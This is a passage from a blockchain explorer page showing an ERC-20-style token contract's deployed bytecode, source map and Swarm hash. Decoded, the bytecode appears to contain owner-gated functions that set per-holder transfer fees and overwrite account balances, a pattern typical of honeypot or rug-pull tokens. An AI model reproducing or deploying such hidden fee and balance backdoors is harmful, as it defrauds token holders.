ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600190506000600290506000600390506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461092c5783836109279190611789565b610939565b818361093891906117bd565b5b9050600082826109499190611789565b90506001856109589190611789565b8161096391906117bd565b915060005b87518110156109f857818361097d9190611789565b8761098891906117bd565b600a60008a848151811061099f5761099e6117f1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109f090611820565b915050610968565b5050505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60058054610a81906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610aad906116bd565b8015610afa5780601f10610acf57610100808354040283529160200191610afa565b820191906000526020600020905b815481529060010190602001808311610add57829003601f168201915b505050505081565b6000610b0f338484610d7a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c04576001610c07565b60095b60ff1690506000600382610c1b9190611789565b9050809150600281610c2d919061199b565b6008546103e8610c3d91906119e6565b610c4791906119e6565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6d9190611361565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610de35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e395750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e869190611789565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156110455760006064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f2091906119e6565b610f2a9190611a57565b90508082610f3891906117bd565b91506000811115611043578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb491906117bd565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161103a9190611361565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109191906117bd565b61109b9190611789565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111399190611789565b6040516111469190611361565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118f578082015181840152602081019050611174565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b782611155565b6111c18185611160565b93506111d1818560208601611171565b6111da8161119b565b840191505092915050565b600060208201905081810360008301526111ff81846111ac565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112468261121b565b9050919050565b6112568161123b565b811461126157600080fd5b50565b6000813590506112738161124d565b92915050565b6000819050919050565b61128c81611279565b811461129757600080fd5b50565b6000813590506112a981611283565b92915050565b600080604083850312156112c6576112c5611211565b5b60006112d485828601611264565b92505060206112e58582860161129a565b9150509250929050565b60008115159050919050565b611304816112ef565b82525050565b600060208201905061131f60008301846112fb565b92915050565b60006020828403121561133b5761133a611211565b5b600061134984828501611264565b91505092915050565b61135b81611279565b82525050565b60006020820190506113766000830184611352565b92915050565b60008060006060848603121561139557611394611211565b5b60006113a386828701611264565b93505060206113b486828701611264565b92505060406113c58682870161129a565b9150509250925092565b600060ff82169050919050565b6113e5816113cf565b82525050565b600060208201905061140060008301846113dc565b92915050565b61140f8161123b565b82525050565b600060208201905061142a6000830184611406565b92915050565b6000819050919050565b600061145561145061144b8461121b565b611430565b61121b565b9050919050565b60006114678261143a565b9050919050565b60006114798261145c565b9050919050565b6114898161146e565b82525050565b60006020820190506114a46000830184611480565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114e78261119b565b810181811067ffffffffffffffff82111715611506576115056114af565b5b80604052505050565b6000611519611207565b905061152582826114de565b919050565b600067ffffffffffffffff821115611545576115446114af565b5b602082029050602081019050919050565b600080fd5b600061156e6115698461152a565b61150f565b9050808382526020820190506020840283018581111561159157611590611556565b5b835b818110156115ba57806115a68882611264565b845260208401935050602081019050611593565b5050509392505050565b600082601f8301126115d9576115d86114aa565b5b81356115e984826020860161155b565b91505092915050565b6000806040838503121561160957611608611211565b5b600083013567ffffffffffffffff81111561162757611626611216565b5b611633858286016115c4565b92505060206116448582860161129a565b9150509250929050565b6000806040838503121561166557611664611211565b5b600061167385828601611264565b925050602061168485828601611264565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116d557607f821691505b6020821081036116e8576116e761168e565b5b50919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000611724600683611160565b915061172f826116ee565b602082019050919050565b6000602082019050818103600083015261175381611717565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061179482611279565b915061179f83611279565b92508282039050818111156117b7576117b661175a565b5b92915050565b60006117c882611279565b91506117d383611279565b92508282019050808211156117eb576117ea61175a565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061182b82611279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361185d5761185c61175a565b5b600182019050919050565b60008160011c9050919050565b6000808291508390505b60018511156118bf5780860481111561189b5761189a61175a565b5b60018516156118aa5780820291505b80810290506118b885611868565b945061187f565b94509492505050565b6000826118d85760019050611994565b816118e65760009050611994565b81600181146118fc576002811461190657611935565b6001915050611994565b60ff8411156119185761191761175a565b5b8360020a91508482111561192f5761192e61175a565b5b50611994565b5060208310610133831016604e8410600b841016171561196a5782820a9050838111156119655761196461175a565b5b611994565b6119778484846001611875565b9250905081840481111561198e5761198d61175a565b5b81810290505b9392505050565b60006119a682611279565b91506119b1836113cf565b92506119de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118c8565b905092915050565b60006119f182611279565b91506119fc83611279565b9250828202611a0a81611279565b91508282048414831517611a2157611a2061175a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a6282611279565b9150611a6d83611279565b925082611a7d57611a7c611a28565b5b82820490509291505056fea2646970667358221220337c959dc5b29517677639d0b3811276a6ccf8797c3b46b82f96cfa4f2eeb05c64736f6c63430008130033

Deployed Bytecode Sourcemap

1054:4037:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1411:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4437:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;931:114;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1535:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4567:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1730:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1457:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1479:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1674:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1385:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1760:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1562:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3376:422;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4077:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;759:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1430:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4177:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4313:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3812:257;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1411:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4437:124::-;4503:4;4510:37;4519:10;4531:7;4540:6;4510:8;:37::i;:::-;4555:4;4548:11;;4437:124;;;;:::o;931:114::-;878:10;868:20;;:6;;;;;;;;;;:20;;;860:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1029:8:::1;1020:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;931:114:::0;:::o;1535:26::-;;;;:::o;4567:327::-;4656:4;4673:36;4683:6;4691:9;4702:6;4673:9;:36::i;:::-;1665:1;1656:11;4724;:19;4736:6;4724:19;;;;;;;;;;;;;;;:31;4744:10;4724:31;;;;;;;;;;;;;;;;:38;4720:145;;4847:6;4813:11;:19;4825:6;4813:19;;;;;;;;;;;;;;;:31;4833:10;4813:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4779:11;:19;4791:6;4779:19;;;;;;;;;;;;;;;:31;4799:10;4779:31;;;;;;;;;;;;;;;:74;;;;4720:145;4882:4;4875:11;;4567:327;;;;;:::o;1730:23::-;;;;:::o;1457:21::-;;;;;;;;;;;;;:::o;1479:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1674:46::-;;;;;;;;;;;;;;;;;:::o;1385:25::-;;;;;;;;;;;;;:::o;1760:27::-;;;;;;;;;;;;;:::o;1562:36::-;;;;;;;;;;;;;:::o;3376:422::-;3454:10;3467:4;3454:17;;3482:10;3495:4;3482:17;;3510:10;3523:4;3510:17;;3538:10;3566;;;;;;;;;;;3552:24;;:10;:24;;;:44;;3594:2;3589;:7;;;;:::i;:::-;3552:44;;;3584:2;3579;:7;;;;:::i;:::-;3552:44;3538:59;;3608:10;3626:2;3621;:7;;;;:::i;:::-;3608:20;;3655:4;3650:2;:9;;;;:::i;:::-;3644:2;:16;;;;:::i;:::-;3639:21;;3676:11;3671:120;3701:4;:11;3695:3;:17;3671:120;;;3776:2;3771;:7;;;;:::i;:::-;3760;:19;;;;:::i;:::-;3736:10;:21;3747:4;3752:3;3747:9;;;;;;;;:::i;:::-;;;;;;;;3736:21;;;;;;;;;;;;;;;:43;;;;3714:5;;;;;:::i;:::-;;;;3671:120;;;;3443:355;;;;;3376:422;;:::o;4077:94::-;4134:7;4151:9;:18;4161:7;4151:18;;;;;;;;;;;;;;;;4144:25;;4077:94;;;:::o;759:63::-;797:7;814:6;;;;;;;;;;;807:13;;759:63;:::o;1430:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4177:130::-;4246:4;4253:40;4263:10;4275:9;4286:6;4253:9;:40::i;:::-;4301:4;4294:11;;4177:130;;;;:::o;4313:118::-;4385:7;4402:11;:18;4414:5;4402:18;;;;;;;;;;;;;;;:27;4421:7;4402:27;;;;;;;;;;;;;;;;4395:34;;4313:118;;;;:::o;3812:257::-;3863:44;3910:9;3863:56;;3930:9;3956:10;3942:24;;:10;;;;;;;;;;;:24;;;:34;;3973:3;3942:34;;;3969:1;3942:34;3930:46;;;;3987:9;4003:1;3999;:5;;;;:::i;:::-;3987:17;;4009:1;4005:5;;4060:1;4057;:4;;;;:::i;:::-;4045:11;;4040:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;4021:10;:16;4032:4;4021:16;;;;;;;;;;;;;;;:40;;;;3852:217;;;3812:257;:::o;4902:151::-;5007:6;4977:11;:18;4989:5;4977:18;;;;;;;;;;;;;;;:27;4996:7;4977:27;;;;;;;;;;;;;;;:36;;;;5035:7;5019:32;;5028:5;5019:32;;;5044:6;5019:32;;;;;;:::i;:::-;;;;;;;;4902:151;;;:::o;1796:702::-;1876:20;1900:6;;;;;;;;;;;1899:7;:35;;;;;1911:17;:23;1929:4;1911:23;;;;;;;;;;;;;;;;;;;;;;;;;1910:24;1899:35;:61;;;;;1939:17;:21;1957:2;1939:21;;;;;;;;;;;;;;;;;;;;;;;;;1938:22;1899:61;1876:84;;2009:6;1991:9;:15;2001:4;1991:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1973:9;:15;1983:4;1973:15;;;;;;;;;;;;;;;:42;;;;2028:18;2061:15;2057:317;;;2093:17;2141:3;2122:10;:16;2133:4;2122:16;;;;;;;;;;;;;;;;2113:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2093:51;;2173:9;2159:23;;;;;:::i;:::-;;;2213:1;2201:9;:13;2197:166;;;2268:9;2234;:30;2252:10;;;;;;;;;;;2234:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2324:10;;;;;;;;;;;2301:46;;2310:4;2301:46;;;2337:9;2301:46;;;;;;:::i;:::-;;;;;;;;2197:166;2078:296;2057:317;2425:10;2416:6;2400:9;:13;2410:2;2400:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2384:9;:13;2394:2;2384:13;;;;;;;;;;;;;;;:51;;;;2466:2;2451:39;;2460:4;2451:39;;;2479:10;2470:6;:19;;;;:::i;:::-;2451:39;;;;;;:::i;:::-;;;;;;;;1863:635;;1796:702;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:60::-;5568:3;5589:5;5582:12;;5540:60;;;:::o;5606:142::-;5656:9;5689:53;5707:34;5716:24;5734:5;5716:24;:::i;:::-;5707:34;:::i;:::-;5689:53;:::i;:::-;5676:66;;5606:142;;;:::o;5754:126::-;5804:9;5837:37;5868:5;5837:37;:::i;:::-;5824:50;;5754:126;;;:::o;5886:147::-;5957:9;5990:37;6021:5;5990:37;:::i;:::-;5977:50;;5886:147;;;:::o;6039:173::-;6147:58;6199:5;6147:58;:::i;:::-;6142:3;6135:71;6039:173;;:::o;6218:264::-;6332:4;6370:2;6359:9;6355:18;6347:26;;6383:92;6472:1;6461:9;6457:17;6448:6;6383:92;:::i;:::-;6218:264;;;;:::o;6488:117::-;6597:1;6594;6587:12;6611:180;6659:77;6656:1;6649:88;6756:4;6753:1;6746:15;6780:4;6777:1;6770:15;6797:281;6880:27;6902:4;6880:27;:::i;:::-;6872:6;6868:40;7010:6;6998:10;6995:22;6974:18;6962:10;6959:34;6956:62;6953:88;;;7021:18;;:::i;:::-;6953:88;7061:10;7057:2;7050:22;6840:238;6797:281;;:::o;7084:129::-;7118:6;7145:20;;:::i;:::-;7135:30;;7174:33;7202:4;7194:6;7174:33;:::i;:::-;7084:129;;;:::o;7219:311::-;7296:4;7386:18;7378:6;7375:30;7372:56;;;7408:18;;:::i;:::-;7372:56;7458:4;7450:6;7446:17;7438:25;;7518:4;7512;7508:15;7500:23;;7219:311;;;:::o;7536:117::-;7645:1;7642;7635:12;7676:710;7772:5;7797:81;7813:64;7870:6;7813:64;:::i;:::-;7797:81;:::i;:::-;7788:90;;7898:5;7927:6;7920:5;7913:21;7961:4;7954:5;7950:16;7943:23;;8014:4;8006:6;8002:17;7994:6;7990:30;8043:3;8035:6;8032:15;8029:122;;;8062:79;;:::i;:::-;8029:122;8177:6;8160:220;8194:6;8189:3;8186:15;8160:220;;;8269:3;8298:37;8331:3;8319:10;8298:37;:::i;:::-;8293:3;8286:50;8365:4;8360:3;8356:14;8349:21;;8236:144;8220:4;8215:3;8211:14;8204:21;;8160:220;;;8164:21;7778:608;;7676:710;;;;;:::o;8409:370::-;8480:5;8529:3;8522:4;8514:6;8510:17;8506:27;8496:122;;8537:79;;:::i;:::-;8496:122;8654:6;8641:20;8679:94;8769:3;8761:6;8754:4;8746:6;8742:17;8679:94;:::i;:::-;8670:103;;8486:293;8409:370;;;;:::o;8785:684::-;8878:6;8886;8935:2;8923:9;8914:7;8910:23;8906:32;8903:119;;;8941:79;;:::i;:::-;8903:119;9089:1;9078:9;9074:17;9061:31;9119:18;9111:6;9108:30;9105:117;;;9141:79;;:::i;:::-;9105:117;9246:78;9316:7;9307:6;9296:9;9292:22;9246:78;:::i;:::-;9236:88;;9032:302;9373:2;9399:53;9444:7;9435:6;9424:9;9420:22;9399:53;:::i;:::-;9389:63;;9344:118;8785:684;;;;;:::o;9475:474::-;9543:6;9551;9600:2;9588:9;9579:7;9575:23;9571:32;9568:119;;;9606:79;;:::i;:::-;9568:119;9726:1;9751:53;9796:7;9787:6;9776:9;9772:22;9751:53;:::i;:::-;9741:63;;9697:117;9853:2;9879:53;9924:7;9915:6;9904:9;9900:22;9879:53;:::i;:::-;9869:63;;9824:118;9475:474;;;;;:::o;9955:180::-;10003:77;10000:1;9993:88;10100:4;10097:1;10090:15;10124:4;10121:1;10114:15;10141:320;10185:6;10222:1;10216:4;10212:12;10202:22;;10269:1;10263:4;10259:12;10290:18;10280:81;;10346:4;10338:6;10334:17;10324:27;;10280:81;10408:2;10400:6;10397:14;10377:18;10374:38;10371:84;;10427:18;;:::i;:::-;10371:84;10192:269;10141:320;;;:::o;10467:156::-;10607:8;10603:1;10595:6;10591:14;10584:32;10467:156;:::o;10629:365::-;10771:3;10792:66;10856:1;10851:3;10792:66;:::i;:::-;10785:73;;10867:93;10956:3;10867:93;:::i;:::-;10985:2;10980:3;10976:12;10969:19;;10629:365;;;:::o;11000:419::-;11166:4;11204:2;11193:9;11189:18;11181:26;;11253:9;11247:4;11243:20;11239:1;11228:9;11224:17;11217:47;11281:131;11407:4;11281:131;:::i;:::-;11273:139;;11000:419;;;:::o;11425:180::-;11473:77;11470:1;11463:88;11570:4;11567:1;11560:15;11594:4;11591:1;11584:15;11611:194;11651:4;11671:20;11689:1;11671:20;:::i;:::-;11666:25;;11705:20;11723:1;11705:20;:::i;:::-;11700:25;;11749:1;11746;11742:9;11734:17;;11773:1;11767:4;11764:11;11761:37;;;11778:18;;:::i;:::-;11761:37;11611:194;;;;:::o;11811:191::-;11851:3;11870:20;11888:1;11870:20;:::i;:::-;11865:25;;11904:20;11922:1;11904:20;:::i;:::-;11899:25;;11947:1;11944;11940:9;11933:16;;11968:3;11965:1;11962:10;11959:36;;;11975:18;;:::i;:::-;11959:36;11811:191;;;;:::o;12008:180::-;12056:77;12053:1;12046:88;12153:4;12150:1;12143:15;12177:4;12174:1;12167:15;12194:233;12233:3;12256:24;12274:5;12256:24;:::i;:::-;12247:33;;12302:66;12295:5;12292:77;12289:103;;12372:18;;:::i;:::-;12289:103;12419:1;12412:5;12408:13;12401:20;;12194:233;;;:::o;12433:102::-;12475:8;12522:5;12519:1;12515:13;12494:34;;12433:102;;;:::o;12541:848::-;12602:5;12609:4;12633:6;12624:15;;12657:5;12648:14;;12671:712;12692:1;12682:8;12679:15;12671:712;;;12787:4;12782:3;12778:14;12772:4;12769:24;12766:50;;;12796:18;;:::i;:::-;12766:50;12846:1;12836:8;12832:16;12829:451;;;13261:4;13254:5;13250:16;13241:25;;12829:451;13311:4;13305;13301:15;13293:23;;13341:32;13364:8;13341:32;:::i;:::-;13329:44;;12671:712;;;12541:848;;;;;;;:::o;13395:1073::-;13449:5;13640:8;13630:40;;13661:1;13652:10;;13663:5;;13630:40;13689:4;13679:36;;13706:1;13697:10;;13708:5;;13679:36;13775:4;13823:1;13818:27;;;;13859:1;13854:191;;;;13768:277;;13818:27;13836:1;13827:10;;13838:5;;;13854:191;13899:3;13889:8;13886:17;13883:43;;;13906:18;;:::i;:::-;13883:43;13955:8;13952:1;13948:16;13939:25;;13990:3;13983:5;13980:14;13977:40;;;13997:18;;:::i;:::-;13977:40;14030:5;;;13768:277;;14154:2;14144:8;14141:16;14135:3;14129:4;14126:13;14122:36;14104:2;14094:8;14091:16;14086:2;14080:4;14077:12;14073:35;14057:111;14054:246;;;14210:8;14204:4;14200:19;14191:28;;14245:3;14238:5;14235:14;14232:40;;;14252:18;;:::i;:::-;14232:40;14285:5;;14054:246;14325:42;14363:3;14353:8;14347:4;14344:1;14325:42;:::i;:::-;14310:57;;;;14399:4;14394:3;14390:14;14383:5;14380:25;14377:51;;;14408:18;;:::i;:::-;14377:51;14457:4;14450:5;14446:16;14437:25;;13395:1073;;;;;;:::o;14474:281::-;14532:5;14556:23;14574:4;14556:23;:::i;:::-;14548:31;;14600:25;14616:8;14600:25;:::i;:::-;14588:37;;14644:104;14681:66;14671:8;14665:4;14644:104;:::i;:::-;14635:113;;14474:281;;;;:::o;14761:410::-;14801:7;14824:20;14842:1;14824:20;:::i;:::-;14819:25;;14858:20;14876:1;14858:20;:::i;:::-;14853:25;;14913:1;14910;14906:9;14935:30;14953:11;14935:30;:::i;:::-;14924:41;;15114:1;15105:7;15101:15;15098:1;15095:22;15075:1;15068:9;15048:83;15025:139;;15144:18;;:::i;:::-;15025:139;14809:362;14761:410;;;;:::o;15177:180::-;15225:77;15222:1;15215:88;15322:4;15319:1;15312:15;15346:4;15343:1;15336:15;15363:185;15403:1;15420:20;15438:1;15420:20;:::i;:::-;15415:25;;15454:20;15472:1;15454:20;:::i;:::-;15449:25;;15493:1;15483:35;;15498:18;;:::i;:::-;15483:35;15540:1;15537;15533:9;15528:14;;15363:185;;;;:::o

Swarm Source

ipfs://337c959dc5b29517677639d0b3811276a6ccf8797c3b46b82f96cfa4f2eeb05c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.